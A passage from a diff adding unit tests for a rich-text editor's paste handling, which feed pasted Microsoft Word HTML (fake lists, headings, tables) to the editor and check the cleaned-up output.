mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} p.MsoListParagraphCxSpMiddle, li.MsoListParagraphCxSpMiddle, div.MsoListParagraphCxSpMiddle {mso-style-priority:34; mso-style-unhide:no; mso-style-qformat:yes; mso-style-type:export-only; margin-top:0cm; margin-right:0cm; margin-bottom:0cm; margin-left:36.0pt; margin-bottom:.0001pt; mso-add-space:auto; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} p.MsoListParagraphCxSpLast, li.MsoListParagraphCxSpLast, div.MsoListParagraphCxSpLast {mso-style-priority:34; mso-style-unhide:no; mso-style-qformat:yes; mso-style-type:export-only; margin-top:0cm; margin-right:0cm; margin-bottom:10.0pt; margin-left:36.0pt; mso-add-space:auto; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} .MsoChpDefault {mso-style-type:export-only; mso-default-props:yes; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} .MsoPapDefault {mso-style-type:export-only; margin-bottom:10.0pt; line-height:115%;} @page Section1 {size:595.3pt 841.9pt; margin:70.85pt 70.85pt 70.85pt 70.85pt; mso-header-margin:35.4pt; mso-footer-margin:35.4pt; mso-paper-source:0;} div.Section1 {page:Section1;} /* List Definitions */ @list l0 {mso-list-id:1742563504; mso-list-type:hybrid; mso-list-template-ids:-524928352 69009409 69009411 69009413 69009409 69009411 69009413 69009409 69009411 69009413;} @list l0:level1 {mso-level-number-format:bullet; mso-level-text:?; mso-level-tab-stop:none; mso-level-number-position:left; text-indent:-18.0pt; font-family:Symbol;} ol {margin-bottom:0cm;} ul {margin-bottom:0cm;} --> </style><!--[if gte mso 10]> <style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-para-margin-top:0cm; mso-para-margin-right:0cm; mso-para-margin-bottom:10.0pt; mso-para-margin-left:0cm; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-fareast-language:EN-US;} </style> <![endif]--> <p class="MsoListParagraphCxSpFirst" style="text-indent: -18pt;"><!--[if !supportLists]--><span style="font-family: Symbol;"><span style="">&middot;<span style="font-family: &quot;Times New Roman&quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal; -x-system-font: none;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><!--[endif]-->Item 1</p> <p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"><!--[if !supportLists]--><span style="font-family: Symbol;"><span style="">&middot;<span style="font-family: &quot;Times New Roman&quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal; -x-system-font: none;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><!--[endif]-->Item 2</p> <p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"><!--[if !supportLists]--><span style="font-family: Symbol;"><span style="">&middot;<span style="font-family: &quot;Times New Roman&quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal; -x-system-font: none;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><!--[endif]-->Item 3</p> <p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"><!--[if !supportLists]--><span style="font-family: Symbol;"><span style="">&middot;<span style="font-family: &quot;Times New Roman&quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal; -x-system-font: none;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><!--[endif]-->Item 4</p> <p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"><!--[if !supportLists]--><span style="font-family: Symbol;"><span style="">&middot;<span style="font-family: &quot;Times New Roman&quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal; -x-system-font: none;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><!--[endif]-->Item 5</p> <p class="MsoListParagraphCxSpLast" style="text-indent: -18pt;"><!--[if !supportLists]--><span style="font-family: Symbol;"><span style="">&middot;<span style="font-family: &quot;Times New Roman&quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal; -x-system-font: none;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><!--[endif]-->Item 6</p>'});
+
+	equal(editor.getContent(), '<ul><li>Item 1</li><li>Item 2</li><li>Item 3</li><li>Item 4</li><li>Item 5</li><li>Item 6</li></ul><p><br />a</p>');
+});
+
+test("Paste Word fake lists interrupted by header", function() {
+	var rng = editor.dom.createRng();
+
+	editor.setContent('<p>1234</p>');
+	rng.setStart(editor.getBody().firstChild.firstChild, 0);
+	rng.setEnd(editor.getBody().firstChild.firstChild, 4);
+	editor.selection.setRng(rng);
+
+	editor.execCommand('mceInsertClipboardContent', false, {content: '<p class=MsoListParagraphCxSpFirst style=\'text-indent:-.25in;mso-list:l0 level1 lfo1\'><![if !supportLists]><span style=\'font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family: Symbol\'><span style=\'mso-list:Ignore\'>·<span style=\'font:7.0pt "Times New Roman"\'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><![endif]>List before heading A<o:p></o:p></p>  <p class=MsoListParagraphCxSpLast style=\'text-indent:-.25in;mso-list:l0 level1 lfo1\'><![if !supportLists]><span style=\'font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family: Symbol\'><span style=\'mso-list:Ignore\'>·<span style=\'font:7.0pt "Times New Roman"\'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><![endif]>List before heading B<o:p></o:p></p>  <h1>heading<o:p></o:p></h1>  <p class=MsoListParagraphCxSpFirst style=\'text-indent:-.25in;mso-list:l0 level1 lfo1\'><![if !supportLists]><span style=\'font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family: Symbol\'><span style=\'mso-list:Ignore\'>·<span style=\'font:7.0pt "Times New Roman"\'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><![endif]>List after heading A<o:p></o:p></p>  <p class=MsoListParagraphCxSpLast style=\'text-indent:-.25in;mso-list:l0 level1 lfo1\'><![if !supportLists]><span style=\'font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family: Symbol\'><span style=\'mso-list:Ignore\'>·<span style=\'font:7.0pt "Times New Roman"\'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><![endif]>List after heading B<o:p></o:p></p>'});
+	equal(editor.getContent(), '<ul><li>List before heading A</li><li>List before heading B</li></ul><h1>heading</h1><ul><li>List after heading A</li><li>List after heading B</li></ul>');
+});
+
+test("Paste list like paragraph and list", function() {
+	editor.setContent('');
+
+	editor.execCommand('mceInsertClipboardContent', false, {
+		content: '<p class=MsoNormal><span style=\'font-size:10.0pt;line-height:115%;font-family:"Trebuchet MS","sans-serif";color:#666666\'>ABC. X<o:p></o:p></span></p><p class=MsoListParagraph style=\'text-indent:-.25in;mso-list:l0 level1 lfo1\'><![if !supportLists]><span style=\'mso-fareast-font-family:Calibri;mso-fareast-theme-font:minor-latin;mso-bidi-font-family:Calibri;mso-bidi-theme-font:minor-latin\'><span style=\'mso-list:Ignore\'>1.<span style=\'font:7.0pt "Times New Roman"\'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></span></span><![endif]>Y</p>'
+	});
+
+	equal(editor.getContent(), '<p>ABC. X</p><ol><li>Y</li></ol>');
+});
+
+test("Paste list like paragraph and list (disabled)", function() {
+	editor.setContent('');
+
+	editor.settings.paste_convert_word_fake_lists = false;
+
+	editor.execCommand('mceInsertClipboardContent', false, {
+		content: '<p class=MsoNormal><span style=\'font-size:10.0pt;line-height:115%;font-family:"Trebuchet MS","sans-serif";color:#666666\'>ABC. X<o:p></o:p></span></p><p class=MsoListParagraph style=\'text-indent:-.25in;mso-list:l0 level1 lfo1\'><![if !supportLists]><span style=\'mso-fareast-font-family:Calibri;mso-fareast-theme-font:minor-latin;mso-bidi-font-family:Calibri;mso-bidi-theme-font:minor-latin\'><span style=\'mso-list:Ignore\'>1.<span style=\'font:7.0pt "Times New Roman"\'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></span></span><![endif]>Y</p>'
+	});
+
+	delete editor.settings.paste_convert_word_fake_lists;
+
+	equal(editor.getContent(), '<p>ABC. X</p><p>1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Y</p>');
+});
+
+test("Paste Word table", function() {
+	var rng = editor.dom.createRng();
+
+	editor.setContent('<p>1234</p>');
+	rng.setStart(editor.getBody().firstChild.firstChild, 0);
+	rng.setEnd(editor.getBody().firstChild.firstChild, 4);
+	editor.selection.setRng(rng);
+
+	editor.execCommand('mceInsertClipboardContent', false, {content: '<meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta name="ProgId" content="Word.Document"><meta name="Generator" content="Microsoft Word 12"><meta name="Originator" content="Microsoft Word 12"><link rel="File-List" href="file:///C:%5CUsers%5Cspocke%5CAppData%5CLocal%5CTemp%5Cmsohtmlclip1%5C01%5Cclip_filelist.xml"><link rel="themeData" href="file:///C:%5CUsers%5Cspocke%5CAppData%5CLocal%5CTemp%5Cmsohtmlclip1%5C01%5Cclip_themedata.thmx"><link rel="colorSchemeMapping" href="file:///C:%5CUsers%5Cspocke%5CAppData%5CLocal%5CTemp%5Cmsohtmlclip1%5C01%5Cclip_colorschememapping.xml"><!--[if gte mso 9]><xml> <w:WordDocument> <w:View>Normal</w:View> <w:Zoom>0</w:Zoom> <w:TrackMoves/> <w:TrackFormatting/> <w:HyphenationZone>21</w:HyphenationZone> <w:PunctuationKerning/> <w:ValidateAgainstSchemas/> <w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid> <w:IgnoreMixedContent>false</w:IgnoreMixedContent> <w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText> <w:DoNotPromoteQF/> <w:LidThemeOther>SV</w:LidThemeOther> <w:LidThemeAsian>X-NONE</w:LidThemeAsian> <w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript> <w:Compatibility> <w:BreakWrappedTables/> <w:SnapToGridInCell/> <w:WrapTextWithPunct/> <w:UseAsianBreakRules/> <w:DontGrowAutofit/> <w:SplitPgBreakAndParaMark/> <w:DontVertAlignCellWithSp/> <w:DontBreakConstrainedForcedTables/> <w:DontVertAlignInTxbx/> <w:Word11KerningPairs/> <w:CachedColBalance/> </w:Compatibility> <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel> <m:mathPr> <m:mathFont m:val="Cambria Math"/> <m:brkBin m:val="before"/> <m:brkBinSub m:val="&#45;-"/> <m:smallFrac m:val="off"/> <m:dispDef/> <m:lMargin m:val="0"/> <m:rMargin m:val="0"/> <m:defJc m:val="centerGroup"/> <m:wrapIndent m:val="1440"/> <m:intLim m:val="subSup"/> <m:naryLim m:val="undOvr"/> </m:mathPr></w:WordDocument> </xml><![endif]--><!--[if gte mso 9]><xml> <w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true" DefSemiHidden="true" DefQFormat="false" DefPriority="99" LatentStyleCount="267"> <w:LsdException Locked="false" Priority="0" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Normal"/> <w:LsdException Locked="false" Priority="9" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="heading 1"/> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/> <w:LsdException Locked="false" Priority="39" Name="toc 1"/> <w:LsdException Locked="false" Priority="39" Name="toc 2"/> <w:LsdException Locked="false" Priority="39" Name="toc 3"/> <w:LsdException Locked="false" Priority="39" Name="toc 4"/> <w:LsdException Locked="false" Priority="39" Name="toc 5"/> <w:LsdException Locked="false" Priority="39" Name="toc 6"/> <w:LsdException Locked="false" Priority="39" Name="toc 7"/> <w:LsdException Locked="false" Priority="39" Name="toc 8"/> <w:LsdException Locked="false" Priority="39" Name="toc 9"/> <w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/> <w:LsdException Locked="false" Priority="10" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Title"/> <w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/> <w:LsdException Locked="false" Priority="11" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/> <w:LsdException Locked="false" Priority="22" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Strong"/>  <w:LsdException Locked="false" Priority="20" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>  <w:LsdException Locked="false" Priority="59" SemiHidden="false" UnhideWhenUsed="false" Name="Table Grid"/>  <w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>  <w:LsdException Locked="false" Priority="1" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>  <w:LsdException Locked="false" Priority="60" SemiHidden="false" UnhideWhenUsed="false" Name="Light Shading"/>  <w:LsdException Locked="false" Priority="61" SemiHidden="false" UnhideWhenUsed="false" Name="Light List"/>  <w:LsdException Locked="false" Priority="62" SemiHidden="false" UnhideWhenUsed="false" Name="Light Grid"/>  <w:LsdException Locked="false" Priority="63" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 1"/>  <w:LsdException Locked="false" Priority="64" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 2"/>  <w:LsdException Locked="false" Priority="65" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 1"/>  <w:LsdException Locked="false" Priority="66" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 2"/>  <w:LsdException Locked="false" Priority="67" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 1"/>  <w:LsdException Locked="false" Priority="68" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 2"/>  <w:LsdException Locked="false" Priority="69" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 3"/>  <w:LsdException Locked="false" Priority="70" SemiHidden="false" UnhideWhenUsed="false" Name="Dark List"/>  <w:LsdException Locked="false" Priority="71" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Shading"/>  <w:LsdException Locked="false" Priority="72" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful List"/>  <w:LsdException Locked="false" Priority="73" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Grid"/>  <w:LsdException Locked="false" Priority="60" SemiHidden="false" UnhideWhenUsed="false" Name="Light Shading Accent 1"/>  <w:LsdException Locked="false" Priority="61" SemiHidden="false" UnhideWhenUsed="false" Name="Light List Accent 1"/>  <w:LsdException Locked="false" Priority="62" SemiHidden="false" UnhideWhenUsed="false" Name="Light Grid Accent 1"/>  <w:LsdException Locked="false" Priority="63" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>  <w:LsdException Locked="false" Priority="64" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>  <w:LsdException Locked="false" Priority="65" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>  <w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>  <w:LsdException Locked="false" Priority="34" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>  <w:LsdException Locked="false" Priority="29" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Quote"/>  <w:LsdException Locked="false" Priority="30" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>  <w:LsdException Locked="false" Priority="66" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>  <w:LsdException Locked="false" Priority="67" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>  <w:LsdException Locked="false" Priority="68" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>  <w:LsdException Locked="false" Priority="69" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>  <w:LsdException Locked="false" Priority="70" SemiHidden="false" UnhideWhenUsed="false" Name="Dark List Accent 1"/>  <w:LsdException Locked="false" Priority="71" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>  <w:LsdException Locked="false" Priority="72" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful List Accent 1"/>  <w:LsdException Locked="false" Priority="73" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>  <w:LsdException Locked="false" Priority="60" SemiHidden="false" UnhideWhenUsed="false" Name="Light Shading Accent 2"/>  <w:LsdException Locked="false" Priority="61" SemiHidden="false" UnhideWhenUsed="false" Name="Light List Accent 2"/>  <w:LsdException Locked="false" Priority="62" SemiHidden="false" UnhideWhenUsed="false" Name="Light Grid Accent 2"/>  <w:LsdException Locked="false" Priority="63" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>  <w:LsdException Locked="false" Priority="64" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>  <w:LsdException Locked="false" Priority="65" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>  <w:LsdException Locked="false" Priority="66" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>  <w:LsdException Locked="false" Priority="67" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>  <w:LsdException Locked="false" Priority="68" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>  <w:LsdException Locked="false" Priority="69" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>  <w:LsdException Locked="false" Priority="70" SemiHidden="false" UnhideWhenUsed="false" Name="Dark List Accent 2"/>  <w:LsdException Locked="false" Priority="71" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>  <w:LsdException Locked="false" Priority="72" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful List Accent 2"/>  <w:LsdException Locked="false" Priority="73" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>  <w:LsdException Locked="false" Priority="60" SemiHidden="false" UnhideWhenUsed="false" Name="Light Shading Accent 3"/>  <w:LsdException Locked="false" Priority="61" SemiHidden="false" UnhideWhenUsed="false" Name="Light List Accent 3"/>  <w:LsdException Locked="false" Priority="62" SemiHidden="false" UnhideWhenUsed="false" Name="Light Grid Accent 3"/>  <w:LsdException Locked="false" Priority="63" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>  <w:LsdException Locked="false" Priority="64" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>  <w:LsdException Locked="false" Priority="65" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>  <w:LsdException Locked="false" Priority="66" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>  <w:LsdException Locked="false" Priority="67" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>  <w:LsdException Locked="false" Priority="68" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>  <w:LsdException Locked="false" Priority="69" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>  <w:LsdException Locked="false" Priority="70" SemiHidden="false" UnhideWhenUsed="false" Name="Dark List Accent 3"/>  <w:LsdException Locked="false" Priority="71" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>  <w:LsdException Locked="false" Priority="72" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful List Accent 3"/>  <w:LsdException Locked="false" Priority="73" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>  <w:LsdException Locked="false" Priority="60" SemiHidden="false" UnhideWhenUsed="false" Name="Light Shading Accent 4"/>  <w:LsdException Locked="false" Priority="61" SemiHidden="false" UnhideWhenUsed="false" Name="Light List Accent 4"/>  <w:LsdException Locked="false" Priority="62" SemiHidden="false" UnhideWhenUsed="false" Name="Light Grid Accent 4"/>  <w:LsdException Locked="false" Priority="63" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>  <w:LsdException Locked="false" Priority="64" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>  <w:LsdException Locked="false" Priority="65" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>  <w:LsdException Locked="false" Priority="66" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>  <w:LsdException Locked="false" Priority="67" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>  <w:LsdException Locked="false" Priority="68" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>  <w:LsdException Locked="false" Priority="69" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>  <w:LsdException Locked="false" Priority="70" SemiHidden="false" UnhideWhenUsed="false" Name="Dark List Accent 4"/>  <w:LsdException Locked="false" Priority="71" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>  <w:LsdException Locked="false" Priority="72" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful List Accent 4"/>  <w:LsdException Locked="false" Priority="73" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>  <w:LsdException Locked="false" Priority="60" SemiHidden="false" UnhideWhenUsed="false" Name="Light Shading Accent 5"/>  <w:LsdException Locked="false" Priority="61" SemiHidden="false" UnhideWhenUsed="false" Name="Light List Accent 5"/>  <w:LsdException Locked="false" Priority="62" SemiHidden="false" UnhideWhenUsed="false" Name="Light Grid Accent 5"/>  <w:LsdException Locked="false" Priority="63" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>  <w:LsdException Locked="false" Priority="64" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>  <w:LsdException Locked="false" Priority="65" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>  <w:LsdException Locked="false" Priority="66" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>  <w:LsdException Locked="false" Priority="67" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>  <w:LsdException Locked="false" Priority="68" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>  <w:LsdException Locked="false" Priority="69" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>  <w:LsdException Locked="false" Priority="70" SemiHidden="false" UnhideWhenUsed="false" Name="Dark List Accent 5"/>  <w:LsdException Locked="false" Priority="71" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>  <w:LsdException Locked="false" Priority="72" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful List Accent 5"/>  <w:LsdException Locked="false" Priority="73" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>  <w:LsdException Locked="false" Priority="60" SemiHidden="false" UnhideWhenUsed="false" Name="Light Shading Accent 6"/>  <w:LsdException Locked="false" Priority="61" SemiHidden="false" UnhideWhenUsed="false" Name="Light List Accent 6"/>  <w:LsdException Locked="false" Priority="62" SemiHidden="false" UnhideWhenUsed="false" Name="Light Grid Accent 6"/>  <w:LsdException Locked="false" Priority="63" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>  <w:LsdException Locked="false" Priority="64" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>  <w:LsdException Locked="false" Priority="65" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>  <w:LsdException Locked="false" Priority="66" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>  <w:LsdException Locked="false" Priority="67" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>  <w:LsdException Locked="false" Priority="68" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>  <w:LsdException Locked="false" Priority="69" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>  <w:LsdException Locked="false" Priority="70" SemiHidden="false" UnhideWhenUsed="false" Name="Dark List Accent 6"/>  <w:LsdException Locked="false" Priority="71" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>  <w:LsdException Locked="false" Priority="72" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful List Accent 6"/>  <w:LsdException Locked="false" Priority="73" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>  <w:LsdException Locked="false" Priority="19" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>  <w:LsdException Locked="false" Priority="21" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>  <w:LsdException Locked="false" Priority="31" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>  <w:LsdException Locked="false" Priority="32" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>  <w:LsdException Locked="false" Priority="33" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>  <w:LsdException Locked="false" Priority="37" Name="Bibliography"/>  <w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>  </w:LatentStyles> </xml><![endif]--><style> <!-- /* Font Definitions */ @font-face {font-family:Calibri; panose-1:2 15 5 2 2 2 4 3 2 4; mso-font-charset:0; mso-generic-font-family:swiss; mso-font-pitch:variable; mso-font-signature:-1610611985 1073750139 0 0 159 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-unhide:no; mso-style-qformat:yes; mso-style-parent:""; margin-top:0cm; margin-right:0cm; margin-bottom:10.0pt; margin-left:0cm; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} p.MsoListParagraph, li.MsoListParagraph, div.MsoListParagraph {mso-style-priority:34; mso-style-unhide:no; mso-style-qformat:yes; margin-top:0cm; margin-right:0cm; margin-bottom:10.0pt; margin-left:36.0pt; mso-add-space:auto; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} p.MsoListParagraphCxSpFirst, li.MsoListParagraphCxSpFirst, div.MsoListParagraphCxSpFirst {mso-style-priority:34; mso-style-unhide:no; 